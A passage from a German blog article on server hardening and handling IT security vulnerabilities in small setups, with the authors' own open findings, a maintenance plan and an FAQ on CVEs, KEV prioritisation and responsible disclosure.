Group=appuser
NoNewPrivileges=true
PrivateTmp=true
ProtectSystem=strict
ProtectHome=true
ReadWritePaths=/var/lib/meineapp
Diese fünf Zeilen ändern nicht, ob jemand einbricht — sie ändern, was danach passiert. Der Unterschied zwischen „ein Dienst ist kompromittiert” und „der Server ist weg”.
Angriffsfläche verkleinern
- Dienste an
127.0.0.1binden, wenn sie nicht öffentlich sein müssen. Datenbanken, Caches, interne APIs. - Docker-Ports explizit angeben:
'127.0.0.1:5432:5432', niemals'5432:5432'. - Firewall standardmäßig auf „alles zu”, dann gezielt öffnen.
- Nicht benötigte Dienste abschalten. Ein Dienst, der nicht läuft, hat keine Lücken.
Zu diesem Punkt gehört eine ehrliche Anmerkung. Beim Schreiben haben wir unsere eigenen offenen Ports angesehen — und Port 631 gefunden, den CUPS-Druckdienst, auf 0.0.0.0. Auf einem Server ohne jeden Drucker. Das ist keine akute Lücke, weil die Firmware davor steht, aber es ist genau die Art von Altlast, die man nie sucht, weil man nie danach fragt. Wir haben ihn auf der Liste. Der Fund ist typisch: Man findet solche Dinge nur, wenn man aktiv nachsieht — nicht, wenn man auf einen Alarm wartet.
Eingaben behandeln wie Fremde
- Prepared Statements für alle Datenbankzugriffe, ausnahmslos
- Ausgabe kontextgerecht kodieren (HTML ≠ Attribut ≠ JavaScript ≠ URL)
- Allow-Listen statt Block-Listen. Eine Liste des Erlaubten ist endlich. Eine Liste des Verbotenen ist es nie.
- Größen und Typen begrenzen — bei Uploads, JSON-Bodies, Array-Längen
Secrets ernst nehmen
- Niemals im Repository. Auch nicht „nur kurz”. Git vergisst nichts, ein
git rmlöscht nichts aus der Historie. - Nicht im Web-Verzeichnis — siehe die 783 Pfade oben.
- Rotieren nach jedem Vorfall. Alles, was auf einer kompromittierten Maschine lag, gilt als offengelegt. Alles.
- Getrennte Schlüssel für getrennte Dienste, damit ein Leck nicht alles aufmacht.
Überhaupt hinsehen
A09 der OWASP Top 10:2025 heißt „Security Logging and Alerting Failures”. Es ist eine eigene Kategorie, dass niemand hinschaut — und unser eigener Vorfall ist das Musterbeispiel: fünf Tage, entdeckt durch einen Zufall.
Das Minimum, das keinen Vertrag und kein Budget braucht:
- Logs zentral sammeln, damit ein Angreifer sie nicht einfach lokal löschen kann
- Ein einfacher Alarm auf CPU-Dauerlast — der hätte unseren Miner in Minuten verraten
- Wöchentlich fünf Minuten in die Auth-Logs sehen
- Ein Blick auf ungewöhnliche ausgehende Verbindungen
Der ehrliche Teil: unsere eigenen offenen Punkte
Ein Sicherheitsartikel, der so tut, als hätte der Autor alles im Griff, ist eine Werbebroschüre. Also hier die Gegenrechnung.
Wir haben 13 offene Befunde in diesem Blog — die Tabelle weiter oben ist nicht aus einem Lehrbuch, sondern von heute Morgen. Warum wir sie nicht sofort geschlossen haben:
Der überwiegende Teil betrifft Build-Werkzeuge, nicht das ausgelieferte Ergebnis. vite, esbuild, svgo, postcss laufen auf unserer Maschine, wenn wir die Seite bauen. Das Resultat ist statisches HTML. Ein Path Traversal im Dev-Server von Vite ist auf einem Server, auf dem kein Vite läuft, kein Angriffsweg.
Das ist eine Bewertung, keine Entwarnung — und genau darum geht es in diesem Abschnitt: CVSS-Werte gelten für die Lücke, nicht für Ihre Situation. Neun „hohe” Befunde klingen dramatisch. In diesem Kontext sind sie es größtenteils nicht. In einem Projekt, das Vite im Dev-Modus öffentlich erreichbar betreibt, wären dieselben Befunde ein Notfall.
Was wir uns dabei nicht erlauben: den Astro-Befund kleinzureden. astro ist unsere direkte Abhängigkeit, der Befund betrifft XSS im Rendering, und den behandeln wir anders als die Build-Kette.
Weitere offene Punkte, transparent:
- Port 631 (CUPS) auf
0.0.0.0— beim Schreiben dieses Artikels gefunden, siehe oben. - Wir haben keine automatisierten Dependency-PRs für dieses Projekt. Wir empfehlen sie oben. Wir nutzen sie hier noch nicht. Das ist eine Lücke zwischen Rat und Praxis, und sie gehört benannt.
- Kein zentrales Log-Ziel. Wir lesen
journalctlauf der Maschine — die ein Angreifer mit root ändern könnte.
Wir schreiben das nicht aus Zerknirschung, sondern weil es die realistische Lage der allermeisten kleinen Setups ist. Sicherheit ist kein Zustand, den man erreicht. Es ist eine Liste, die nie leer wird — und der Unterschied zwischen sicher und unsicher ist meist, ob man die Liste überhaupt führt.
Ein realistischer Plan für kleine Setups
Ohne Security-Team, ohne Budget, ohne Vollzeitstelle. In der Reihenfolge, in der es sich lohnt.
Einmalig, ein Nachmittag:
- SSH auf Schlüssel umstellen,
PasswordAuthentication no, fail2ban installieren - Alle Dienste durchgehen: Muss der wirklich auf
0.0.0.0lauschen? (ss -tlnp) - Firewall: standardmäßig zu, gezielt öffnen
- Prüfen, was als root läuft — und den Rest umstellen
unattended-upgradesfür Sicherheitsupdates aktivierensecurity.txtanlegen- Backups testen — nicht die Existenz, die Wiederherstellung
Monatlich, zwanzig Minuten:
npm audit/composer audit/pip-auditlaufen lassen- KEV-Katalog gegen die eigene Software abgleichen
- Auth-Logs durchsehen
- Offene Ports gegen den letzten Stand vergleichen
Nach jedem Vorfall, ohne Ausnahme:
- Neu aufsetzen, nicht säubern. Eine Hintertür, die Sie übersehen, ist schlimmer als ein Tag Arbeit.
- Alle Secrets rotieren
- Aufschreiben, wie es passiert ist — der Vorfall ist die teuerste Fortbildung, die Sie je bekommen
Häufige Fragen zu IT-Sicherheitslücken
Was sind die häufigsten IT-Sicherheitslücken?
In der Praxis dominieren fünf Gruppen: fehlerhafte Zugriffskontrolle (jemand sieht Daten, die ihm nicht gehören), Fehlkonfiguration (Standardpasswörter, offene Ports, Debug-Modus in Produktion), verwundbare Abhängigkeiten (fremder Code mit bekannten Lücken), Injection (SQL, Befehle, Templates) und Authentifizierungsfehler. Die aktuelle OWASP Top 10:2025 führt Broken Access Control auf Platz A01, Security Misconfiguration auf A02 und Software Supply Chain Failures auf A03.
Wie finde ich Sicherheitslücken in meinem eigenen System?
Fangen Sie mit dem an, was ohne Zusatzsoftware geht: npm audit, composer audit oder pip-audit für Abhängigkeiten, ss -tlnp für offene Ports, ein Blick in die Auth-Logs. Danach kommen externe Scanner. Vollständigkeit ist dabei nicht das Ziel — kein Scanner findet Fehler in Ihrer Geschäftslogik, weil er sie nicht kennt.
Was ist der Unterschied zwischen CVE und CVSS?
CVE ist der Name, CVSS ist die Note. Eine CVE-ID wie CVE-2025-29927 identifiziert eine bestimmte Lücke eindeutig, damit alle über dieselbe reden. CVSS gibt ihr einen Schweregrad von 0,0 bis 10,0. Der CVSS-Wert beschreibt die Lücke an sich, nicht Ihr konkretes Risiko — dafür braucht es zusätzlich die Frage, ob sie bei Ihnen erreichbar ist und ob sie aktiv ausgenutzt wird.
Muss ich wirklich jede Lücke sofort patchen?
Nein — das ist bei über 20.000 CVEs pro Quartal auch niemandem möglich. Die brauchbare Reihenfolge lautet: Erstens alles, was im KEV-Katalog der CISA steht (belegt ausgenutzt, 1.656 Einträge — verschwindend wenig gegenüber allen CVEs). Zweitens kritische Lücken in dem, was von außen erreichbar ist. Drittens der Rest im normalen Update-Zyklus. Was gar nicht erreichbar ist, ist der letzte Punkt der Liste.
Warum sind Abhängigkeiten so gefährlich?
Weil Sie ihre Lücken erben, ohne sie je gesehen zu haben. Dieser Blog hat vier direkte Abhängigkeiten und installiert damit 327 Pakete; von den 13 gemeldeten Befunden stecken elf in Paketen, deren Namen wir nie getippt haben. Dazu kommt die Übernahme-Gefahr: Bei der npm-Phishing-Welle im September 2025 wurden Konten sehr verbreiteter Kleinstpakete gekapert und bösartige Versionen über den ganz normalen Update-Weg verteilt.
Was ist Responsible Disclosure?
Der abgestimmte Weg, eine gefundene Lücke zu melden: Finder informiert Hersteller, Hersteller bestätigt, es läuft eine Frist (üblicherweise 90 Tage), in der ein Fix entstehen soll, danach werden die Details veröffentlicht. Die Frist ist der Kern — sie verhindert, dass Meldungen unbearbeitet liegen bleiben. Damit man Sie erreichen kann, gehört eine /.well-known/security.txt auf jede Website.
Reicht ein SSL-Zertifikat als Absicherung?
Nein. TLS schützt die Daten auf dem Weg zwischen Browser und Server. Es schützt nicht vor SQL-Injection, nicht vor fehlender Zugriffskontrolle, nicht vor veralteten Paketen und nicht vor einem Dienst, der als root läuft. Ein Angreifer, der Ihre Anwendung übernimmt, tut das verschlüsselt. Das Schloss im Browser sagt nur: Der Kanal ist dicht. Über das Haus am Ende des Kanals sagt es nichts.
Wie erkenne ich, dass mein Server kompromittiert wurde?
Typische Anzeichen: dauerhaft hohe CPU-Last ohne Grund (Krypto-Miner), unbekannte Prozesse oder Cronjobs, ausgehende Verbindungen zu unbekannten Zielen, veränderte Systemdateien, Dienste, die grundlos abstürzen. Der letzte Punkt ist der wichtigste — in unserem Fall waren abstürzende Dienste kein eigenes Problem, sondern das Symptom. Nur deshalb ist der Einbruch überhaupt aufgefallen.
Ist eine statische Website wirklich sicherer?
Ja, und zwar nicht graduell, sondern kategorisch — für eine ganze Klasse von Angriffen. Keine Datenbank bedeutet keine SQL-Injection. Kein Server-Prozess bedeutet kein RCE über die Anwendung. In unseren Logs steht ein ThinkPHP-Angriffsversuch, der auf diesem Server nie eine Chance hatte, weil hier schlicht kein PHP läuft. Das ersetzt keine Serverhärtung — Ihr SSH steht trotzdem offen —, aber es räumt einen großen Teil der Angriffsfläche ab.
Fazit
IT-Sicherheitslücken sind keine Frage der Prominenz. Die 9.604 SSH-Versuche der letzten Woche galten nicht uns, sondern einer IP-Adresse. Der Request mit 783 .env-Pfaden war nicht persönlich gemeint. Und der Angreifer, der in unserem dokumentierten Vorfall einen kompletten Server verbrannt hat, hat damit ein paar Euro verdient.
Was aus den Zahlen dieses Artikels wirklich folgt:
Die Bedrohung ist automatisiert und wahllos. Sie brauchen keinen Feind. Sie brauchen nur eine erreichbare Adresse.
Das größte Einfallstor ist fremder Code. Vier bewusste Entscheidungen, 327 Pakete, elf Befunde in Paketen, die wir nie ausgewählt haben — auf der einfachsten Anwendung, die man bauen kann. Bei Ihnen sieht es nicht besser aus; die einzige Frage ist, ob Sie nachgezählt haben.
Die Menge ist nicht mehr zu bewältigen, die Auswahl schon. Über 20.000 CVEs im Quartal gegen 1.656 KEV-Einträge insgesamt. Wer nach belegter Ausnutzung priorisiert statt nach Schweregrad, macht aus einer unmöglichen Aufgabe eine machbare.
Alt heißt nicht erledigt. 22 Prozent der 2026 neu in den KEV aufgenommenen Einträge betreffen CVEs von 2024 oder früher — bis zurück ins Jahr 2008.
Und der Verstärker ist fast immer derselbe: zu viele Rechte. Dieselbe Lücke ist ein Ärgernis, wenn der Dienst unter einem eigenen Benutzer läuft, und eine Katastrophe, wenn er root ist.
Die wirksamsten Maßnahmen sind unspektakulär: aktuell bleiben, Rechte beschneiden, Dienste an 127.0.0.1 binden, Secrets aus dem Web-Verzeichnis halten, gelegentlich in die Logs sehen. Nichts davon ist neu. Nichts davon ist schwierig. Es wird nur selten gemacht, weil es nie dringend wirkt — bis es das ist.
Und wenn Sie diesen Artikel mit genau einer Handlung verlassen: Führen Sie den Log-Befehl von oben auf Ihrer eigenen Maschine aus. Was Sie dort sehen, überzeugt zuverlässiger als jeder Absatz, den wir schreiben könnten.
Weiterlesen bei uns:
- Ein Server, fünf Tage gekapert — die vollständige Forensik unseres eigenen Vorfalls
- nginx als Reverse Proxy — wie interne Dienste sicher nach außen kommen
- Open-Source-Webbrowser im Vergleich — warum „quelloffen” allein kein Sicherheitsversprechen ist
- Lokale KI betreiben — Datenverarbeitung, die das eigene Gerät nie verlässt
- Core Web Vitals Test — eines der beiden Werkzeuge aus dem SSRF-Praxisteil